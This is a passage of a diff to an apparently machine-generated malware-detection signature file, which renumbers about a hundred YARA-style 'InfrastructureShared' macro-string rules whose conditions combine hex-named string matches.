00 21 " @@ -292533,7 +309003,7 @@ rule _InfrastructureShared_22319{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22320{ +rule _InfrastructureShared_23604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292543,7 +309013,7 @@ rule _InfrastructureShared_22320{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22321{ +rule _InfrastructureShared_23605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292553,7 +309023,7 @@ rule _InfrastructureShared_22321{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22322{ +rule _InfrastructureShared_23606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292563,7 +309033,7 @@ rule _InfrastructureShared_22322{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22323{ +rule _InfrastructureShared_23607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292573,7 +309043,7 @@ rule _InfrastructureShared_22323{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22324{ +rule _InfrastructureShared_23608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292583,7 +309053,7 @@ rule _InfrastructureShared_22324{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22325{ +rule _InfrastructureShared_23609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292593,7 +309063,7 @@ rule _InfrastructureShared_22325{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22326{ +rule _InfrastructureShared_23610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292603,7 +309073,7 @@ rule _InfrastructureShared_22326{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22327{ +rule _InfrastructureShared_23611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292613,7 +309083,7 @@ rule _InfrastructureShared_22327{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22328{ +rule _InfrastructureShared_23612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292623,7 +309093,7 @@ rule _InfrastructureShared_22328{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22329{ +rule _InfrastructureShared_23613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292633,7 +309103,7 @@ rule _InfrastructureShared_22329{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22330{ +rule _InfrastructureShared_23614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292643,7 +309113,7 @@ rule _InfrastructureShared_22330{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22331{ +rule _InfrastructureShared_23615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292653,7 +309123,7 @@ rule _InfrastructureShared_22331{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22332{ +rule _InfrastructureShared_23616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -292664,7 +309134,7 @@ rule _InfrastructureShared_22332{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*30821) >=1 } -rule _InfrastructureShared_22333{ +rule _InfrastructureShared_23617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -292675,7 +309145,7 @@ rule _InfrastructureShared_22333{ ((#a_53_0 & 1)*19747+(#a_2e_1 & 1)*28484) >=1 } -rule _InfrastructureShared_22334{ +rule _InfrastructureShared_23618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292685,7 +309155,7 @@ rule _InfrastructureShared_22334{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22335{ +rule _InfrastructureShared_23619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292695,7 +309165,7 @@ rule _InfrastructureShared_22335{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22336{ +rule _InfrastructureShared_23620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292705,7 +309175,7 @@ rule _InfrastructureShared_22336{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22337{ +rule _InfrastructureShared_23621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292715,7 +309185,7 @@ rule _InfrastructureShared_22337{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22338{ +rule _InfrastructureShared_23622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -292726,7 +309196,7 @@ rule _InfrastructureShared_22338{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*29269) >=1 } -rule _InfrastructureShared_22339{ +rule _InfrastructureShared_23623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -292737,7 +309207,7 @@ rule _InfrastructureShared_22339{ ((#a_53_0 & 1)*19747+(#a_43_1 & 1)*29283) >=1 } -rule _InfrastructureShared_22340{ +rule _InfrastructureShared_23624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -292748,7 +309218,7 @@ rule _InfrastructureShared_22340{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*28530) >=1 } -rule _InfrastructureShared_22341{ +rule _InfrastructureShared_23625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292758,7 +309228,7 @@ rule _InfrastructureShared_22341{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22342{ +rule _InfrastructureShared_23626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292768,7 +309238,7 @@ rule _InfrastructureShared_22342{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22343{ +rule _InfrastructureShared_23627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292778,7 +309248,7 @@ rule _InfrastructureShared_22343{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22344{ +rule _InfrastructureShared_23628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292788,7 +309258,7 @@ rule _InfrastructureShared_22344{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22345{ +rule _InfrastructureShared_23629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292798,7 +309268,7 @@ rule _InfrastructureShared_22345{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22346{ +rule _InfrastructureShared_23630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292808,7 +309278,7 @@ rule _InfrastructureShared_22346{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22347{ +rule _InfrastructureShared_23631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292818,7 +309288,7 @@ rule _InfrastructureShared_22347{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22348{ +rule _InfrastructureShared_23632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -292829,7 +309299,7 @@ rule _InfrastructureShared_22348{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*28524) >=2 } -rule _InfrastructureShared_22349{ +rule _InfrastructureShared_23633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -292841,7 +309311,7 @@ rule _InfrastructureShared_22349{ ((#a_53_0 & 1)*19747+(#a_43_1 & 1)*29283+(#a_00_2 & 1)*28521) >=3 } -rule _InfrastructureShared_22350{ +rule _InfrastructureShared_23634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292851,7 +309321,7 @@ rule _InfrastructureShared_22350{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22351{ +rule _InfrastructureShared_23635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292861,7 +309331,7 @@ rule _InfrastructureShared_22351{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22352{ +rule _InfrastructureShared_23636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292871,7 +309341,7 @@ rule _InfrastructureShared_22352{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22353{ +rule _InfrastructureShared_23637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292881,7 +309351,7 @@ rule _InfrastructureShared_22353{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22354{ +rule _InfrastructureShared_23638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292891,7 +309361,7 @@ rule _InfrastructureShared_22354{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22355{ +rule _InfrastructureShared_23639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292901,7 +309371,7 @@ rule _InfrastructureShared_22355{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22356{ +rule _InfrastructureShared_23640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292911,7 +309381,7 @@ rule _InfrastructureShared_22356{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22357{ +rule _InfrastructureShared_23641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292921,7 +309391,7 @@ rule _InfrastructureShared_22357{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22358{ +rule _InfrastructureShared_23642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292931,7 +309401,7 @@ rule _InfrastructureShared_22358{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22359{ +rule _InfrastructureShared_23643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292941,7 +309411,7 @@ rule _InfrastructureShared_22359{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22360{ +rule _InfrastructureShared_23644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -292952,7 +309422,7 @@ rule _InfrastructureShared_22360{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*25441) >=3 } -rule _InfrastructureShared_22361{ +rule _InfrastructureShared_23645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292962,7 +309432,7 @@ rule _InfrastructureShared_22361{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22362{ +rule _InfrastructureShared_23646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292972,7 +309442,7 @@ rule _InfrastructureShared_22362{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22363{ +rule _InfrastructureShared_23647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292982,7 +309452,7 @@ rule _InfrastructureShared_22363{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22364{ +rule _InfrastructureShared_23648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292992,7 +309462,7 @@ rule _InfrastructureShared_22364{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22365{ +rule _InfrastructureShared_23649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293002,7 +309472,7 @@ rule _InfrastructureShared_22365{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22366{ +rule _InfrastructureShared_23650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293012,7 +309482,7 @@ rule _InfrastructureShared_22366{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22367{ +rule _InfrastructureShared_23651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293022,7 +309492,7 @@ rule _InfrastructureShared_22367{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22368{ +rule _InfrastructureShared_23652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293032,7 +309502,7 @@ rule _InfrastructureShared_22368{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22369{ +rule _InfrastructureShared_23653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293042,7 +309512,7 @@ rule _InfrastructureShared_22369{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22370{ +rule _InfrastructureShared_23654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293053,7 +309523,7 @@ rule _InfrastructureShared_22370{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*17722) >=1 } -rule _InfrastructureShared_22371{ +rule _InfrastructureShared_23655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293064,7 +309534,7 @@ rule _InfrastructureShared_22371{ ((#a_53_0 & 1)*19747+(#a_6a_1 & 1)*29268) >=1 } -rule _InfrastructureShared_22372{ +rule _InfrastructureShared_23656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293074,7 +309544,7 @@ rule _InfrastructureShared_22372{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22373{ +rule _InfrastructureShared_23657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293084,7 +309554,7 @@ rule _InfrastructureShared_22373{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22374{ +rule _InfrastructureShared_23658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293094,7 +309564,7 @@ rule _InfrastructureShared_22374{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22375{ +rule _InfrastructureShared_23659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293104,7 +309574,7 @@ rule _InfrastructureShared_22375{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22376{ +rule _InfrastructureShared_23660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293114,7 +309584,7 @@ rule _InfrastructureShared_22376{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22377{ +rule _InfrastructureShared_23661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293124,7 +309594,7 @@ rule _InfrastructureShared_22377{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22378{ +rule _InfrastructureShared_23662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293134,7 +309604,7 @@ rule _InfrastructureShared_22378{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22379{ +rule _InfrastructureShared_23663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293144,7 +309614,7 @@ rule _InfrastructureShared_22379{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22380{ +rule _InfrastructureShared_23664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293154,7 +309624,7 @@ rule _InfrastructureShared_22380{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22381{ +rule _InfrastructureShared_23665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293164,7 +309634,7 @@ rule _InfrastructureShared_22381{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22382{ +rule _InfrastructureShared_23666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293174,7 +309644,7 @@ rule _InfrastructureShared_22382{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22383{ +rule _InfrastructureShared_23667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293184,7 +309654,7 @@ rule _InfrastructureShared_22383{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22384{ +rule _InfrastructureShared_23668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -293195,7 +309665,7 @@ rule _InfrastructureShared_22384{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*14930) >=2 } -rule _InfrastructureShared_22385{ +rule _InfrastructureShared_23669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -293207,7 +309677,7 @@ rule _InfrastructureShared_22385{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*14930+(#a_3a_2 & 1)*21587) >=3 } -rule _InfrastructureShared_22386{ +rule _InfrastructureShared_23670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293217,7 +309687,7 @@ rule _InfrastructureShared_22386{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22387{ +rule _InfrastructureShared_23671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293227,7 +309697,7 @@ rule _InfrastructureShared_22387{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22388{ +rule _InfrastructureShared_23672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293237,7 +309707,7 @@ rule _InfrastructureShared_22388{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22389{ +rule _InfrastructureShared_23673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293247,7 +309717,7 @@ rule _InfrastructureShared_22389{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22390{ +rule _InfrastructureShared_23674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293257,7 +309727,7 @@ rule _InfrastructureShared_22390{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22391{ +rule _InfrastructureShared_23675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293267,7 +309737,7 @@ rule _InfrastructureShared_22391{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22392{ +rule _InfrastructureShared_23676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293277,7 +309747,7 @@ rule _InfrastructureShared_22392{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22393{ +rule _InfrastructureShared_23677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293287,7 +309757,7 @@ rule _InfrastructureShared_22393{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22394{ +rule _InfrastructureShared_23678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293297,7 +309767,7 @@ rule _InfrastructureShared_22394{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22395{ +rule _InfrastructureShared_23679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293307,7 +309777,7 @@ rule _InfrastructureShared_22395{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22396{ +rule _InfrastructureShared_23680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293317,7 +309787,7 @@ rule _InfrastructureShared_22396{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22397{ +rule _InfrastructureShared_23681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293328,7 +309798,7 @@ rule _InfrastructureShared_22397{ ((#a_53_0 & 1)*19747+(#a_4d_1 & 1)*21076) >=1 } -rule _InfrastructureShared_22398{ +rule _InfrastructureShared_23682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293339,7 +309809,7 @@ rule _InfrastructureShared_22398{ ((#a_53_0 & 1)*19747+(#a_54_1 & 1)*18490) >=1 } -rule _InfrastructureShared_22399{ +rule _InfrastructureShared_23683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293350,7 +309820,7 @@ rule _InfrastructureShared_22399{ ((#a_4c_0 & 1)*21539+(#a_52_1 & 1)*21320) >=1 } -rule _InfrastructureShared_22400{ +rule _InfrastructureShared_23684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293360,7 +309830,7 @@ rule _InfrastructureShared_22400{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22401{ +rule _InfrastructureShared_23685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293370,7 +309840,7 @@ rule _InfrastructureShared_22401{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22402{ +rule _InfrastructureShared_23686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293380,7 +309850,7 @@ rule _InfrastructureShared_22402{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22403{ +rule _InfrastructureShared_23687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293390,7 +309860,7 @@ rule _InfrastructureShared_22403{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22404{ +rule _InfrastructureShared_23688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293400,7 +309870,7 @@ rule _InfrastructureShared_22404{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22405{ +rule _InfrastructureShared_23689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293410,7 +309880,7 @@ rule _InfrastructureShared_22405{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22406{ +rule _InfrastructureShared_23690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293420,7 +309890,7 @@ rule _InfrastructureShared_22406{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22407{ +rule _InfrastructureShared_23691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293431,7 +309901,7 @@ rule _InfrastructureShared_22407{ ((#a_53_0 & 1)*19747+(#a_3a_1 & 1)*21587) >=1 } -rule _InfrastructureShared_22408{ +rule _InfrastructureShared_23692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293442,7 +309912,7 @@ rule _InfrastructureShared_22408{ ((#a_53_0 & 1)*19747+(#a_3a_1 & 1)*21587) >=1 } -rule _InfrastructureShared_22409{ +rule _InfrastructureShared_23693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -293454,7 +309924,7 @@ rule _InfrastructureShared_22409{ ((#a_53_0 & 1)*19747+(#a_4d_1 & 1)*21076+(#a_00_2 & 1)*0) >=1 } -rule _InfrastructureShared_22410{ +rule _InfrastructureShared_23694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293464,7 +309934,7 @@ rule _InfrastructureShared_22410{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22411{ +rule _InfrastructureShared_23695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293474,7 +309944,7 @@ rule _InfrastructureShared_22411{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22412{ +rule _InfrastructureShared_23696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293484,7 +309954,7 @@ rule _InfrastructureShared_22412{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22413{ +rule _InfrastructureShared_23697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293494,7 +309964,7 @@ rule _InfrastructureShared_22413{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22414{ +rule _InfrastructureShared_23698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293504,7 +309974,7 @@ rule _InfrastructureShared_22414{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22415{ +rule _InfrastructureShared_23699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293514,7 +309984,7 @@ rule _InfrastructureShared_22415{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22416{ +rule _InfrastructureShared_23700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293524,7 +309994,7 @@ rule _InfrastructureShared_22416{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22417{ +rule _InfrastructureShared_23701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293534,7 +310004,7 @@ rule _InfrastructureShared_22417{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22418{ +rule _InfrastructureShared_23702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293544,7 +310014,7 @@ rule _InfrastructureShared_22418{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22419{ +rule _InfrastructureShared_23703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293554,7 +310024,7 @@ rule _InfrastructureShared_22419{ ((#a_4c_0 & 